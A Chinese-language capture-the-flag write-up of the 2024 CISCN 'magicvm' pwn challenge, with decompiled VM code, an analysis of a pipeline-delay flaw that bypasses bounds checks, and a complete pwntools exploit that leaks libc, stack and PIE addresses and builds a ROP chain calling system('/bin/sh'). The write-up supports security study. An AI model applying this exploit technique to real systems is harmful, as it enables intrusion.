2024 cicsn magicvm

文章目录

  • 参考
  • 检查
  • 逆向
    • vm::run
    • vm::vm
    • vm_alu::set_input
    • vm_mem::set_input
    • vm_id::run
    • vm_alu::run
    • vm_mem::run
  • 漏洞
  • 思路
  • 参考的exp

参考

https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap

检查

在这里插入图片描述

逆向

vm::run

__int64 __fastcall vm::run(vm *my_vm)
{__int64 v1; // raxint v3; // [rsp+1Ch] [rbp-4h]while ( 1 ){vm_alu::set_input(my_vm->vm_alu, my_vm);vm_mem::set_input(my_vm->vm_mem, my_vm);my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 识别当前指令并返回长度v3 = vm_alu::run(my_vm->vm_alu, my_vm);     // 执行当前指令,得到临时结果vm_mem::run(my_vm->vm_mem);                 // 将结果转换到对应的位置中去if ( !v3 )break;if ( v3 == -1 ){v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);exit(0);}}return 0LL;
}

vm::vm

void __fastcall vm::vm(vm *my_vm)
{struct vm_id *vm_id; // raxstruct vm_alu *vm_alu; // raxvm_mem *v3; // rax__int64 i; // rdxmy_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);my_vm->data_base = my_vm->code_base + 0x2000LL;my_vm->stack_base = my_vm->data_base + 0x3000LL;my_vm->data_size = 0x3000LL;my_vm->code_size = 0x2000LL;my_vm->stack_size = 0x1000LL;vm_id = (struct vm_id *)operator new(0x28uLL);LODWORD(vm_id->isvalid_id) = 0;vm_id->opcode = 0LL;vm_id->optype = 0LL;vm_id->arg1 = 0LL;vm_id->arg2 = 0LL;my_vm->vm_id = vm_id;vm_alu = (struct vm_alu *)operator new(0x50uLL);*(_OWORD *)&vm_alu->isvali_id = 0LL;*(_OWORD *)&vm_alu->optype = 0LL;*(_OWORD *)&vm_alu->arg2 = 0LL;*(_OWORD *)&vm_alu->content_change_addr = 0LL;*(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;my_vm->vm_alu = vm_alu;v3 = (vm_mem *)operator new(0x28uLL);v3->is_valid = 0;v3->value_to_addr_time = 0;for ( i = 0LL; ; ++i ){v3->val_to_ad[i].addr = 0LL;v3->val_to_ad[i].value = 0LL;if ( i == 1 )break;}my_vm->vm_mem = v3;
}

vm_alu::set_input

vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{vm_id *vm_id; // rdxvm_alu *result; // rax__int64 opcode; // rbx__int64 arg1; // rbxvm_id = my_vm->vm_id;result = my_vm_alu;opcode = vm_id->opcode;my_vm_alu->isvali_id = vm_id->isvalid_id;my_vm_alu->opcode = opcode;arg1 = vm_id->arg1;my_vm_alu->optype = vm_id->optype;my_vm_alu->arg1 = arg1;my_vm_alu->arg2 = vm_id->arg2;return result;
}

vm_mem::set_input

vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{vm_alu *vm_alu; // rdxvm_mem *result; // rax_QWORD *content_change_addr; // rbx_QWORD *stack_ptr_addr; // rbxvm_alu = my_vm->vm_alu;result = my_vm_men;content_change_addr = vm_alu->content_change_addr;*(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;my_vm_men->val_to_ad[0].addr = content_change_addr;stack_ptr_addr = vm_alu->stack_ptr_addr;my_vm_men->val_to_ad[0].value = vm_alu->alu_result;my_vm_men->val_to_ad[1].addr = stack_ptr_addr;my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;return result;
}

vm_id::run

__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{char *my_vm_pc; // raxchar *optype_pc_1; // raxint v4; // eaxchar *first_value_pc_1; // raxchar *first_value_pc_2; // raxint v7; // eaxchar *optype_pc_2; // raxchar opcode; // [rsp+18h] [rbp-18h]char optype; // [rsp+19h] [rbp-17h]char first_value; // [rsp+1Ah] [rbp-16h]char first_value_1; // [rsp+1Ah] [rbp-16h]char second_valuea; // [rsp+1Ah] [rbp-16h]char second_valueb; // [rsp+1Ah] [rbp-16h]char value1; // [rsp+1Ah] [rbp-16h]char optype_1; // [rsp+1Bh] [rbp-15h]unsigned int change_pc; // [rsp+1Ch] [rbp-14h]_BYTE *optype_pc; // [rsp+20h] [rbp-10h]char *arg_value_pc; // [rsp+20h] [rbp-10h]char *value1_pc; // [rsp+20h] [rbp-10h]my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指针,按字节识别optype_pc = my_vm_pc + 1;opcode = *my_vm_pc;change_pc = 1;if ( *my_vm_pc <= 0 || opcode > 8 ){if ( opcode <= 8 || opcode > 10 ){if ( opcode && opcode != 11 ){my_vm_id->opcode = -1LL;}else{my_vm_id->opcode = opcode;              // 11 nop指令my_vm_id->optype = 0LL;my_vm_id->arg1 = 0LL;my_vm_id->arg2 = 0LL;}}else{                                           // 9-10 push popoptype_pc_2 = my_vm_pc + 1;value1_pc = optype_pc + 1;optype_1 = *optype_pc_2;change_pc = 2;my_vm_id->optype = *optype_pc_2;if ( (optype_1 & 3) == 2 )                // value为reg的标号{change_pc = 3;value1 = *value1_pc;if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 检查标号是否小于等于3{my_vm_id->opcode = opcode;my_vm_id->arg1 = value1;my_vm_id->arg2 = 0LL;}else                                    // 否则标号越界,错误{my_vm_id->opcode = -1LL;}}else                                      //  optype只能为寄存器类型,否则错误{my_vm_id->opcode = -1LL;}if ( (my_vm->stack_ptr & 7LL) != 0 )      // 八对齐,否则错误my_vm_id->opcode = -1LL;if ( opcode == 9 )                        // stack_ptr从零开始,相对地址从stack_base{if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )my_vm_id->opcode = -1LL;              // push的话要判断stack_ptr还有多余的8可以减去,并且要在stack_size里面,从零开始}else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr ){                                         // pop的话判断stack_ptr+8不会超过stack_size上界my_vm_id->opcode = -1LL;}}}else                                          // 1-8{optype_pc_1 = my_vm_pc + 1;arg_value_pc = optype_pc + 1;optype = *optype_pc_1;change_pc = 2;my_vm_id->optype = *optype_pc_1;v4 = optype & 3;if ( v4 == 2 )                              // value是寄存器下标{change_pc = 3;first_value_pc_1 = arg_value_pc++;        // 杀千刀的,这里的值是+之前的first_value = *first_value_pc_1;if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value;}else{my_vm_id->opcode = -1LL;}}else if ( v4 == 3 )                         // value也是寄存器下标,要检查寄存器中值是否超过地址界限{change_pc = 3;first_value_pc_2 = arg_value_pc++;first_value_1 = *first_value_pc_2;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) ){my_vm_id->opcode = opcode;my_vm_id->arg1 = first_value_1;}else{my_vm_id->opcode = -1LL;}}else{my_vm_id->opcode = -1LL;}if ( my_vm_id->opcode != -1LL ){v7 = (optype >> 2) & 3;if ( v7 == 3 ){                                         // 参数是寄存器的下标++change_pc;second_valueb = *arg_value_pc;if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )my_vm_id->arg2 = second_valueb;elsemy_vm_id->opcode = -1LL;}else{if ( ((optype >> 2) & 3u) > 3 )         // 类型大于3不存在{
LABEL_25:my_vm_id->opcode = -1LL;goto LABEL_45;}if ( v7 == 1 )                          // 参数是立即数{change_pc += 8;                       // pc要变化八个字节,八个字节存立即数my_vm_id->arg2 = *(_QWORD *)arg_value_pc;}else{if ( v7 != 2 )goto LABEL_25;++change_pc;                          // 是寄存器second_valuea = *arg_value_pc;if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )my_vm_id->arg2 = second_valuea;elsemy_vm_id->opcode = -1LL;}}}}
LABEL_45:LODWORD(my_vm_id->isvalid_id) = 1;return change_pc;
}
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{return a3->data_size - 8LL >= a2;             // 地址少八,是因为地址内容是包括后面的八个字节内容
}

vm_alu::run

__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{__int64 arg2_type; // rax__int64 arg1_type; // raxunsigned __int64 opcode; // raxif ( !LODWORD(my_vm_alu->isvali_id) )return 1LL;if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL ){arg2_type = (my_vm_alu->optype >> 2) & 3LL;if ( arg2_type == 3 ){                                           // 参数为寄存器存的地址的值my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);}else if ( arg2_type != 1 ){if ( arg2_type != 2 )return 0xFFFFFFFFLL;my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值}arg1_type = my_vm_alu->optype & 3LL;if ( arg1_type == 2 ){my_vm_alu->value_to_addr_time = 1;        // 只要修改一次地址的内容my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存储寄存器的值在vm结构体里的地址my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];}else{if ( arg1_type != 3 )return 0xFFFFFFFFLL;if ( (my_vm_alu->optype & 0xCLL) == 12 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 1;my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储参数所在地址my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储地址的参数内容}switch ( my_vm_alu->opcode ){case 1LL:my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;break;case 2LL:my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;break;case 3LL:my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;break;case 4LL:my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;break;case 5LL:my_vm_alu->alu_result = my_vm_alu->arg2;break;case 6LL:my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;break;case 7LL:my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;break;case 8LL:my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;break;default:goto exit;}goto exit;}opcode = my_vm_alu->opcode;if ( opcode == 11 ){my_vm_alu->isvalid_alu = 0;return 1LL;}if ( opcode > 0xB )                           // 大于11无效opcodereturn 0xFFFFFFFFLL;if ( opcode == 10 )                           // pop{my_vm_alu->value_to_addr_time = 2;my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器内容的地址,pop会修改寄存器my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;goto exit;}if ( !opcode ){my_vm_alu->isvalid_alu = 0;return 0LL;}if ( opcode != 9 )return 0xFFFFFFFFLL;my_vm_alu->value_to_addr_time = 2;            // pushmy_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:my_vm_alu->isvalid_alu = 1;return 1LL;
}

vm_mem::run

__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{__int64 result; // raxint i; // [rsp+1Ch] [rbp-4h]result = (unsigned int)my_vm_men->is_valid;   // alu是否成功执行if ( (_DWORD)result ){for ( i = 0; ; ++i ){result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次赋值改变的寄存器// 第二次赋值改变栈地址if ( i >= (int)result )break;*my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 赋值}}return result;
}

漏洞

存在延迟,有个依赖关系,各个结构体的isvalid变量,代表前一步是否执行完
分为三个阶段

  • 解析得到vid(存在检查,寄存器的标号和寄存器存储的内容(访问的地址)不能超过data_size)
  • 执行得到alu
  • 改变值得到mem

vid和改变值不是立即发生的,解析得到vid之后改变参数值(之前的指令到达mem步),那么就可以绕过vid中对参数的检查

思路

  • 任意地址写通过寄存器存储:你要写的地址-database的值,然后通过mem方式mov [寄存器+database], 值或寄存器 就可以将值写入任意地址
  • 任意地址读也差不多,寄存器存储:你要读的地址-database的值,然后通过mem方式mov 寄存器,[寄存器+database],然后寄存器就是你要读的地址里的内容了

泄露libc地址
在这里插入图片描述
在这里插入图片描述

泄露database的地址
在这里插入图片描述
泄露environ地址
在这里插入图片描述
在这里插入图片描述
得到environ内的栈地址

在这里插入图片描述
得到对应的返回地址
在这里插入图片描述
泄露pie地址
在这里插入图片描述
得到pie基地址
在这里插入图片描述
控制到database在vm上的位置
在这里插入图片描述
往database在vm结构体所在地址写入栈的返回地址所在地址
在这里插入图片描述
写入ret
在这里插入图片描述
写入pop rdi ret
在这里插入图片描述
写入/bin/sh
在这里插入图片描述
写入system地址
在这里插入图片描述
最后没有指令可以执行vm::run退出会执行之前写入的rop,最后这里加个ret是system执行时候对齐
在这里插入图片描述
结果
在这里插入图片描述

参考的exp

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'def inst():return 1def mem():return 3def reg():return 2def args(flag1,flag2,arg1,arg2):var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')if flag2==1:return var+p64(arg2)else:return var+arg2.to_bytes(1,'little')def arg(flag,arg):var=flag.to_bytes(1,'little')if flag==1:return var+p64(arg)else:return var+arg.to_bytes(1,'little')def add(arg):return b'\x01'+argdef sub(arg):return b'\x02'+argdef rshift(arg):return b'\x03'+argdef lshift(arg):return b'\x04'+argdef mov(arg):return b'\x05'+argdef andd(arg):return b'\x06'+argdef orr(arg):return b'\x07'+argdef xor(arg):return b'\x08'+argdef pop(arg):return b'\x09'+argdef push(arg):return b'\x0a'+argdef nop():return b'\x0b'p=process('./pwn')
libc=ELF('./libc.so.6')# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()# end
code+=nop()
code+=nop()#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/21448.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

9个轻量化的效率神器,保证你100%用得上

给你推荐9个轻量化的效率神器&#xff0c;保证你100%用得上。 首先介绍uTools的3个效率技巧 快速启动 想要快速打开一个应用&#xff0c;不用去一堆的应用图标里面去寻找&#xff0c;直接按下快捷键&#xff0c;输入应用的名称或首字母&#xff0c;便可以找到应用&#xff0…

GNeRF论文理解

文章目录 主要解决什么问题&#xff1f;结构设计以及为什么有效果&#xff1f;个人想法。 主要解决什么问题&#xff1f; 本文主要想要解决的问题是 如何使用uncalibrated的照片来进行Nerf重建。虽然说现在已经有了一些方式可以对相机位姿进行估计和优化&#xff0c;但是他们限…

journal日志管理

1、systemd-journald详解 systemd-journald日志默认保存在/run/log/journal中&#xff0c;重启会被清楚&#xff0c;如果存在/var/log/journal目录&#xff0c;systemd-journald日志会自动改为记入在这个目录中&#xff0c;同时日志轮转也会启动&#xff0c;日志轮状每月启动&…

如何通过网站封装App工具轻松创建移动应用

想象一下&#xff1a;将您的网站变成App 大多数网站管理员和开发人员多多少少都曾梦想过将自己的网站变成一款移动应用。传统的App开发过程不仅繁琐&#xff0c;还需要耗费大量的时间和资源。好消息是&#xff0c;现在有了网站封装App工具&#xff0c;这一切都变得简单了。您只…

HashMap 随记

HashMap 构造器 HashMap 共有四个构造器&#xff1a; public HashMap(int initialCapacity, float loadFactor) {// 对于传入的初始容量&#xff08;loadFactor&#xff09; 及 负载因子&#xff08;loadFactor&#xff09;的一些边界判断if (initialCapacity < 0) throw n…

Android Audio基础——音频配置xml文件加载(七)

通过前面的文章&#xff0c;我们知道在 AudioPolicyManager 初始化的时候回调用 loadConfig() 方法去加载 Audio 相关的配置信息&#xff0c;这里我们就来详细看一下。 一、配置文件加载 1、AudioPolicyManager 源码位置&#xff1a;/frameworks/av/services/audiopolicy/ma…

将下拉弹层渲染节点固定在触发器的父元素中

将下拉弹层渲染节点固定在触发器的父元素中 注意: 如果发现下拉菜单跟随页面滚动&#xff0c;或者需要在其他弹层中触发 Select&#xff0c; 请尝试使用 getPopupContainer{triggerNode > triggerNode.parentElement} 将下拉弹层渲染节点固定在触发器的父元素中。

【MySQL】探索 MySQL 的 GROUP_CONCAT 函数

缘分让我们相遇乱世以外 命运却要我们危难中相爱 也许未来遥远在光年之外 我愿守候未知里为你等待 我没想到为了你我能疯狂到 山崩海啸没有你根本不想逃 我的大脑为了你已经疯狂到 脉搏心跳没有你根本不重要 &#x1f3b5; 邓紫棋《光年之外》 什么是 GRO…

遗传算法与应用分析

遗传算法的概念 简单来说&#xff0c;遗传算法&#xff08;Genetic Algorithm&#xff0c;GA&#xff09;是一种模拟自然进化过程的优化算法。它通过模拟生物进化的遗传机制&#xff0c;通过选择、交叉和变异等操作&#xff0c;逐代优化搜索空间中的解。遗传算法最初由约翰霍兰…

【面试题-001】什么是面向对象?

文章目录 什么是面向对象&#xff1f;与面向过程的区别&#xff1f;哪些语言是面向对象 哪些是面向过程&#xff1f; 什么是面向对象&#xff1f; 面向对象&#xff08;Object-oriented&#xff09;是一种程序设计范例&#xff0c;它通过将数据与对数据操作的函数&#xff08;…

V90 PN伺服驱动器附加报文750详细使用介绍(算法分析)

1、V90PN伺服驱动器转矩控制(750报文) V90 PN伺服驱动器转矩控制(750报文)_v90pn转矩控制-CSDN博客文章浏览阅读3.4k次,点赞2次,收藏3次。主要介绍通过标准报文加附加报文 750 实现发送驱动报文的控制字、速度给定、转矩限幅及附加转矩给定的功能,首先就是V90在博途环境下…

算法学习笔记——对数器

对数器 对数器的实现&#xff1a; 你想要测的方法a&#xff08;最优解&#xff09;实现复杂度不好但是容易实现的方法b&#xff08;暴力解&#xff09;实现一个随机样本产生器&#xff08;长度也随机、值也随机&#xff09;把方法a和方法b跑相同的输入样本&#xff0c;看看得…

分享5款.NET开源免费的Redis客户端组件库

前言 今天大姚给大家分享5款.NET开源、免费的Redis客户端组件库&#xff0c;希望可以帮助到有需要的同学。 StackExchange.Redis StackExchange.Redis是一个基于.NET的高性能Redis客户端&#xff0c;提供了完整的Redis数据库功能支持&#xff0c;并且具有多节点支持、异步编…

总结2024/6/3

省流&#xff0c;蓝桥杯国优&#xff0c;还是太菜了&#xff0c;听说都是板子题但是还是写不出来&#xff0c;靠暴力好歹没有爆0&#xff0c;还是得多练&#xff0c;明年加油了

JWT 签名用对称加密还是非对称加密?

一 概念梳理 对称加密和非对称加密是两种基本的加密方法&#xff0c;它们在现代密码学中扮演着核心角色&#xff0c;用于保护数据的安全和隐私。 1.1 对称加密&#xff08;Symmetric Encryption&#xff09; 对称加密是指加密和解密使用同一个密钥的过程。这意味着发送方和接…

!力扣 108. 将有序数组转换为二叉搜索树

给你一个整数数组 nums &#xff0c;其中元素已经按升序排列&#xff0c;请你将其转换为一棵 平衡二叉搜索树。 示例 1&#xff1a; 输入&#xff1a;nums [-10,-3,0,5,9] 输出&#xff1a;[0,-3,9,-10,null,5] 解释&#xff1a;[0,-10,5,null,-3,null,9] 也将被视为正确答案…

封装了一个使用UICollectionViewLayout 实现的吸附居左banner图

首先查看效果图 实现的原理就是通过自定义UICollectionView layout&#xff0c;然后 设置减速速率是快速就可以达到吸附的效果 _collectionView.decelerationRate UIScrollViewDecelerationRateFast; 下面贴出所有代码 这里是.h // // LBMiddleExpandLayout.h // Liubo…

文章解读与仿真程序复现思路——电力系统自动化EI\CSCD\北大核心《具有源荷不平衡特性的配电网智能软开关和储能联合规划》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

CTF_RE学习

学了一个 map&#xff08;&#xff09;函数的使用 import base64rawData "e3nifIH9b_CndH" target list(map(ord, rawData)) # map 函数将 rawData 中的每个字符传递给 ord 函数。ord 函数返回给定字符的 Unicode 码点 print(target) # 打印 map 对象的内存地址&…

汽车线束搭铁与接地

一、搭铁与接地的概念 首先在这里解释一下“搭铁”与“接地”的概念&#xff0c;不要混为一团&#xff01; 先说接地&#xff0c;大地是可导电的&#xff0c;其电位通常取为零。电力系统和电气装置的中性点、电气设备的外露导电部分及装置外导电部分通过导体与大地相连&#xf…